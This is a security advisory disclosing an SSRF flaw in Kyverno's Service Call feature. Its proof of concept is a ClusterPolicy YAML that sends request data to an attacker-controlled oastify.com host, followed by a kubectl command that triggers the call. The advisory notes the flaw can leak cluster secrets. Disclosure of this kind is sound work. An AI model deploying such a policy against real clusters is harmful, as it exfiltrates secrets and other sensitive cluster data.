Kyverno vulnerable to SSRF via Service Calls

Summary

### Summary An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data. ### Details According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster. https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls ### PoC Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator. ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-namespaces spec: rules: - name: call-extension match: any: - resources: kinds: - ConfigMap context: - name: result apiCall: method: POST data: - key: namespace value: "{{request.namespace}}" service: url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload validate: message: "namespace {{request.namespace}} is not allowed" deny: conditions: all: - key: "{{ result.allowed }}" operator: Equals value: false ``` Now let's create some configmap: ```bash kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm ``` Look at the Burp Collaborator logs: <img width="723" alt="Снимок экрана 2025-02-21 в 17 31 25" src="https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2" /> ### Impact An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.